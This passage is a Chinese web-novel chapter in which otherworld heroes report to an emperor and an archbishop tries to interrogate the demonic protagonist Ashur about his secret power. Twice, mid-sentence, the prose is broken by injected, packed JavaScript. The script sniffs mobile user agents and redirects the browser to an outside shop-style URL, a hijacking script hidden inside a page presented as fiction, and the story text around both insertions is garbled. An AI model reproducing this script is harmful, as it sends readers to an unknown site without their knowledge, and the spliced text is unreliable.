「少爷，您这种社交方式迟早会让您树敌无数。」阿福在脑海中叹息道。 “那不挺好？省得我自己去找乐子。” 「……无法反驳。」 亚瑟上前一步，替这位可怜的侍从官解了围。 “陛下派你们来是有什么急事吗？我们刚回来，还没来得及休整。” “是的，勇者大人。” 赛斯连忙接过话头，似乎很庆幸有人愿意进行正常的对话。 “陛下已知悉北境异变平息一事，正在皇宫等候诸位的汇报。马车已经备好。” 希罗的兽耳在兜帽下转了半圈。 艾什尔瞥了克莱尔一眼。克莱尔回了他一个“别看我，我困死了”的表情。 阿福则幸灾乐祸。 「当你的直属上司在你完成任务后第一时间召见你时，有85%的概率是要你写报告，12.5%的概率是画饼嘉奖，还有0.5%的概率是要杀人灭口。」 “你这个概率是怎么算出来的？” 「根据九狱官僚系统三万年的运作经验之谈。」 “……行吧。” 艾什尔拎起保温杯，朝赛斯扬了扬下巴。 “走吧。别让陛下等急了，等急了容易扣工资。” 赛斯张了张嘴，纠结于“异界勇者并非皇家公务员正式编制没有工资”这句话该不该说出口，最终选择了闭嘴。 明智。 …… 皇宫纯白大理石台阶一路叠上去，多到让人怀疑设计师是不是按台阶数量收费。 两侧站着身披银甲的皇家圣卫，长戟笔直，人也笔直，正午的日头下一动不动。 四人拾级而上。 穿过三道廊，过了四重门，被搜了一次身。 希罗在搜身时面无表情地从身上各处掏出了十一把大小不一的刀，在检查台上排成整齐的一排。 负责搜身的卫兵看着那堆足以武装一个小队的利器，脸上的表情在敬佩和恐惧之间反复横跳。 终于，四人来到日冕大厅。 门高六米，橡木包金，两扇门板上各浮雕着一轮太阳。 艾什尔走进去的第一个念头是：亮瞎魔眼。 穹顶高达三十米，由纯金与水晶架构而成，正午的阳光透过顶端的圆形天窗直直落下，在大厅中央形成一道耀眼的光柱。 光柱的尽头是，一座白金铸就的王座。 王座上坐着一个人。 奥雷里乌斯·瓦勒里乌斯。 索拉瑞斯帝国的皇帝。 金色的眼眸如熔化的日轮，头顶悬浮着由光元素凝结而成的日冕，散发着温和却不可直视的光芒。他身穿纯白军礼服，肩章绣有金色太阳纹路，没有多余的装饰品。 干净利落。 和他右手边那位形成了鲜明反差。 在他右手边，站着一个身着繁复金边白色袍的老者。 维克托·塞莱斯廷。枢机大主教，帝国宗教事务的最高领袖。 银白长发披散肩头，金色眼瞳是天界执政官·赫利恩虔诚信徒的标志。他手持纯金权杖，杖头是燃烧的太阳造型。 “勇者们。” 皇帝开口，声音不高，却借由大厅的弧形结构清晰传遍每个角落。 “朕已收到北境捷报。异常能量消失，风啸堡的危机已经解除。” “朕想听你们亲口说说，那里究竟发生了什么。” 艾什尔侧过头，用眼神把球踢给了亚瑟。 那是在说：正式场合，你上。我负责当个养眼的花瓶。 亚瑟接住了这个眼神，他上前一步，右手按在胸口，微微颔首。 “回禀陛下。我们抵达风啸堡后，得知异常能量源头位于神弃峡谷深处。在驻军中尉艾琳·霍尔德的协助下，我们进入峡谷进行调查。” 他顿了一拍，斟酌措辞。 “在峡谷深处，我们发现了一处位面投影。” “一座倒悬的城市。城市中心有处古代封印，封印出现了裂缝，异常能量正是从裂缝中泄漏的。” “一座倒悬的城市？” 大主教塞莱斯廷第一次开口。 “听起来像是远古遗迹。亚瑟大人，你们可有查明那座城市的来历？” “没有。”亚瑟摇头，“遗迹中的文字我们无法辨认。但可以确定，封印内部指向一个未知位面。” 塞莱斯廷的手指在权杖上轻叩了两下。 “有趣，非常有趣。” 他转向艾什尔。 “艾什尔大人，听说，是你修复了封印？” 艾什尔睁开闭目养神的红眸，对上大主教那双看似温润实则深不见底的眼睛。 “是。” “用的什么方法？” “家传秘术。” 塞莱斯廷露出一个意味深长的微笑，眼角的褶子叠起来，活像个刚听完孙子撒谎的祖父 “家传秘术……真是便利的借口。” “够用就行。”艾什尔耸肩，“又不收版权费。” 奥雷里乌斯抬起手，切断了这场逐渐偏离轨道的对话。 “无论方法如何，朕只看结果。”皇帝起身，纯白军礼服上的金线在阳光下流淌，像要把正午的光辉都吸进去。 “朕许诺的奖励，一分不少。” 他挥手。 侍从捧着金色托盘，上面有四个沉甸甸的钱袋，外加一块刻着狮鹫纹章的纯金令牌。 “五万金币，四位勇者平分。此外，持此令牌可进入皇家宝库挑选一件藏品，作为对诸位北境之行的额外嘉奖。” “谢陛下。” 四人齐齐行礼。艾什尔跟着弯了弯腰，弯的幅度刚好够得上恭敬的最低标准线。 奥雷里乌斯坐回王座，这个动作让整个大厅的气压都跟着沉了几分。 “斯特林大公将会在三日后返回帝都。届时，还需要诸位补充细节。” 言下之意，今天的汇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193823|197114||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 报只是走个流程，真正的盘问还在后头。 “随时恭候。” 觐见结束。 四人退出日冕大厅，克莱尔低声对艾什尔说。 “那个大主教一直在盯着你。” “我知道。” “他肯定看出了点什么。” “大概吧，不过无所谓。我知道他知道，他知道我知道他知道。绕到第三层就没意思了。” “政治，真麻烦。”希罗懒洋洋地说。 “勇者大人，请留步。” 四人停下，转过身。 一名中年男子走来，神情恭敬，但脊背挺得很直。胸口的徽章不是皇室的狮鹫，而是金色日轮，代表教会。 他停到艾什尔面前，躬身行礼：“有人希望与您单独一叙。” “谁？” “恕我不能透露。但请放心，不会耽误您太多时间。” 克莱尔的眉头皱了起来。 “刚出狼窝又入虎口？连名都不报就想把人带走，这也太——” “可疑。”希罗替她把话说完了，“不报身份的邀约，要么是陷阱，要么是不想留痕迹的会面。两种都不是好事。” 亚瑟看向艾什尔，天蓝色的眼睛里写着“我跟你去”。 “不用。” 艾什尔抬手，止住了队友们护犊子行为。 “你们先回去休息吧，这一趟折腾得够呛。尤其是亚瑟，你需要找个软点的床躺平。” “可是——” “这是皇宫，皇帝陛下的眼皮子底下，总不至于有人会对一位刚立下功劳的勇者下毒手吧。” 他拍了拍腰间的保温杯。 “再说，我自备饮料，不喝陌生人的酒水。” 他转向那名教会侍从，嘴角勾起标志性的弧度。 “带路吧。” …… 皇宫内部的走廊比外面看起来复杂十倍。 艾什尔跟在侍从身后，漫不经心地打量着两侧的壁画和雕塑。 全是歌颂历代皇帝丰功伟绩的内容，金碧辉煌得让人眼晕。 「检测到前方高阶魔力波动，神圣系能量特征。看来您的判断没错。」 “意料之中。” 艾什尔在心里回答。 “能在皇帝面前那么肆无忌惮地打量我，又能在大厅外随叫随到的，整个皇宫除了那位也没别人了。 转过拐角，穿过一道雕着日轮图案的拱门。 会客室不大。 白色大理石墙壁上挂着几幅宗教题材的油画，描绘天界执政官·赫利恩，也就是俗称的光辉之神，驱散黑暗等常见场景，画技精湛，却毫无新意。 红木圆桌摆在房间中央，放着一套骨瓷茶具，茶已经泡好了。 桌边的高背椅上，坐着一位银发披肩的老者。 维克托·塞莱斯廷大主教正微笑着看向他。 换了个场合，他身上那种令人如坐针毡的审视感减弱了不少。 又或是，他主动收了起来。 “艾什尔大人，感谢你愿意抽出时间来见老朽。请坐。”他起身，微微颔首。 艾什尔拉开对面的椅子坐下，顺手把印着炼狱语“好好学习天天向上”烫金大字的保温杯墩在精美的茶具旁边。 画风极其割裂。 “大主教阁下找我，不会只是想请我喝茶吧。” 塞莱斯廷的目光在保温杯上停留了两秒。 “茶确实只是借口，老朽想和你聊几句。” “关于那座倒悬的城市。” “还有，关于你的‘家传秘术’。” 23.棋子与棋手 在艾瑟利亚大陆，神明是真实存在的。 这并非信仰者的臆想，也不是神职人员的欺骗，更不是写在经卷上用来约束愚民的故事。 诸神的力量流淌在世界的每一个角落。牧师掌心涌出的治愈之光能接合断骨，圣殿骑士剑上灼烧邪物的白焰来自赫利恩的直接授权。 然而，神明并不直接行走于尘世之间。 据学者考证，远古时代众神曾亲临大地，与凡人共舞于星月之下。 但那个时代早已终结，如今众神退入各自的神域，再未现身。 索拉瑞斯帝国，最具影响力的宗教体系当属「天界执政官·赫利恩」的信仰。 赫利恩被尊为“永恒骄阳”、“秩序之神”、“正午的审判者”。教义的核心只有两个字：秩序。 光明驱逐黑暗，规则统治混乱，圣火净化一切不服从的存在。审判官、圣骑士、教会法庭，都是这套理念在人间的执行机构。 与之相对，赫利恩的教义绝对禁止三件事： 第一，巫术、邪术。任何未经教会认证的超凡力量都归入此类。认证标准由教会制定，解释权也归教会。 第二，与深渊或恶魔的契约，无论出于何种目的，缔结契约者都将被判处火刑。 第三，扰乱秩序。这是一个极具弹性的罪名，从造反谋逆到在公共场合行为不端，都可以被教会以此为由进行“净化”。 当然，这些只是明面上的教义。 在秩序与混乱之间，往往隔着一道叫做“政治”的灰色地带。 …… 艾什尔没有急着回答大主教的问题。 他慢条斯理地拧开保温杯，硫磺与焦糖混合的热气蒸腾而上，霸道地压过了桌上那壶名贵红茶的清香。 「经典政治施压。连环发问，抢占高地，制造焦虑。建议您打个太极，不要主动透露任何可被利用的信息。」 “茶凉了会苦。”塞莱斯廷微笑着推了推面前的茶杯，“年轻人不爱喝茶？” “自带了。”艾什尔举杯示意，“养生。” 塞莱斯廷盯着保温杯上的炼狱文字，他虽然并不认识，但在教会待了五十年的直觉让他的眉心跳了一下。 “有趣的容器……北境的报告老朽已经看过了。蓝雾消散、魔物平息、封印修复。这些都是好消息。” “确实。” “我们不需要绕圈子，艾什尔阁下。教会在北境并非毫无眼线。虽然斯特林大公封锁了消息，但有些东西是封不住的。比方说……那种不属于现世的魔力波动，还有，那个骑士的死而复生。” 他起身，纯金权杖顿在地上。 “你是异界之人。也许在你的世界，那种力量稀松平常。但在索拉瑞斯，所有未在《白金法典》上注册的超凡力量，都需要接受教会的审查。” 艾什尔喝了口热可可，表情没变。 “告诉我，艾什尔阁下。你的‘家传秘术’，是可被光辉容纳的力量，还是必须被净除的异端？” 空气变得沉重，滞涩。 「少爷，这老头正在释放「神术·诚实诱导」，一种基于光系魔力的心理暗示。建议您……哦豁，不用建议了，您的灾厄共鸣石已经自动把这股能量吃了，甚至还打了个饱嗝。」 艾什尔手腕上的黑石微微发烫，震了一下。 塞莱斯廷眉角一跳。 泥牛入海。他发出的神术像被什么东西吞得干干净净，连个水花都没溅起来。 “大主教阁下。” 艾什尔抬眼，那双红瞳里没多少情绪，只有种看戏般的闲适。 “您相信神迹吗？” “作为神的仆人，老朽自然相信。” “那不就结了。亚瑟是个好人，好人总是有好报的。也许是他的虔诚感动了某位路过的神明，也许是他命数未尽。总之，他活了。” “艾什尔阁下。” 大主教的声音依然温和，但语速明显加快了一些。 “老朽无意刺探你的秘密，每个人都有不愿示人的底牌，这是可以理解的。” 他盯着艾什尔的眼睛。 “老朽真正想知道的是……你的力量，是否会对帝国、对此界构成威胁？” 房间里安静得能听见尘埃落地的声音。 窗外阳光依旧，茶杯里的热气袅袅，但某种无形的重压从这位银发老人身上扩散开来。 那是居高临下，手握生杀大权的审视。 “赫利恩的光辉之下，没有黑暗能永远隐藏。” 大主教微笑依然慈祥，依然温和，和他在日冕大厅里站在皇帝身边时的表情一模一样。 但在那层笑意底下，艾什尔读出了另一层意思。 这不是威胁。 这是通知。 “大主教阁下，您好像搞错了一件事。” 艾什尔撑着下巴，微微一笑。暗红瞳孔深处有什么东西正在燃烧。 那是比窗外的阳光更加古老、更加深沉的火光。 “我是来帮忙的，不是来求职的，更不是来……” 他抬眼。 “忏悔的。” 空气瞬间胶着。 塞莱斯廷握着权杖的手背暴起两根青筋，身上的圣光护盾本能激发，把整个人笼在一团光壳里。 就在这时。 “塞莱斯廷阁下。” 一个平静的声音插了进来。 会客室的门不知何时开了。 阳光从门外涌入，在地上投下一道拉长的剪影。 奥雷里乌斯·瓦勒里乌斯站在门口，金瞳平静地扫过房间。日冕的光辉从他头顶漫开，让门口那一小块空间亮得像被单独打了一盏聚光灯。 塞莱斯廷站起来，躬身。圣光护盾收敛。 “陛下。” “朕听说你请了艾什尔卿喝茶。”皇帝语气平淡无波，“聊得愉快吗？” “只是闲谈而已，陛下。”塞莱斯廷直起身，笑意重新挂回脸上，“老朽对勇者们的北境之行很感兴趣。” “是么。” 奥雷里乌斯的金眸从大主教脸上移开，落在艾什尔身上。 “勇者们刚回，舟车劳顿。大主教的问题，改日再谈也不迟。” 这话说得客气，意思却很明确。 朕要把人带走，有意见憋着。 塞莱斯廷嘴角微微抽动了一下，但很快恢复了平静。 “陛下说得是，老朽考虑不周。阁下请便。” 艾什尔站起身来，拿起桌上的保温杯。 “改天再来蹭茶。大主教这儿的红茶闻着不错 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17195690|197114||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，虽然我没喝。” 他跟着皇帝走出房间。 塞莱斯廷站在原地，看着两人背影消失。 许久。 “……充斥混沌的灵魂。” 老者低声自语。 他抬起手，盯着微微颤抖的指尖。 方才与那双暗红眼眸对视的一瞬间，寒意自脊背窜上来，连身体都本能地战栗。 身为侍奉光明的信徒，他对黑暗的气息，比任何探测法术都更为敏锐。 “变数……” “必须被铲除。” …… “你看起来并不意外。” 奥雷里乌斯走在前面，步伐不快不慢。 “对于朕打断了你和大主教的下午茶这件事。” 艾什尔跟在半步后，保温杯拎在手里晃荡。 “意外通常源于对局势的误判。而大主教阁下的意图就像他那身袍子上的金线一样，闪闪发光，生怕别人看不见。” “塞莱斯廷是个聪明人，但他太急了。”奥雷里乌斯淡淡评价。 “所以，陛下亲自过来捞我这个可怜又无助的异界打工人，是为了保护我免遭一位慈祥老人的精神霸凌？” 奥雷里乌斯没理他。 他在一扇黑色木门前停下，门上浮雕刻着一头闭眼的雄狮，鬃毛的纹路精细到可以数清每一根发丝。 皇帝的手掌按上去。 闭眼的狮子缓缓睁开了眼睛，那是一对由红宝石镶嵌而成的双眼。 门开了。 里面不是书房，也不是密室，而是一个巨大的圆形露台。 露台悬空于皇宫最高的塔楼之上，没有任何围栏。站在这里，整个索拉利姆城如棋盘般尽收眼底。 午后阳光毫无遮挡地倾泻，风很大，吹得奥雷里乌斯的礼服猎猎作响。 “保护？” 皇帝走到露台边缘，俯视脚下的城市。 “不。” 他转过头，日冕光辉在身后形成一道金色光轮，让他看起来像是宗教画里走出来的神像，既神圣又遥远。 “朕介入，是因为朕不喜欢别人动朕的棋子。尤其是…… “一枚很有可能成为‘皇后’的棋子。” 艾什尔走到露台边缘，同样俯视着城市。与皇帝保持着一个微妙的安全距离，既不会被突然推下去，也能在必要时把对方踹下去。 “陛下，如果您接下来要发表什么‘你是朕的人’之类的宣言，那我必须提醒您，我的眼光很挑剔，而且家父对我的婚事管得很宽。” 奥雷里乌斯没接这茬。 “朕召唤了四个异界灵魂。骑士渴望荣耀，法师渴望真理，刺客渴望自由。他们的欲望都写在脸上。” 皇帝主动迈出一步，缩短了两人之间的距离。 “但你不一样。” 两个人之间只隔着不到一臂的距离，日冕的光辉几乎要灼烧到艾什尔的皮肤。 “你，不是被召唤来的。” 奥雷里乌斯注视着黑发青年，侧光将他的面容勾勒得锋利而冷峻。黑色碎发在风中微动，暗红的瞳孔深邃平静，仿佛藏着无人能测的深渊。 容貌宛如神明所塑，气息却与神明截然相悖。 “艾什尔·克劳利，你是自己走进来的。”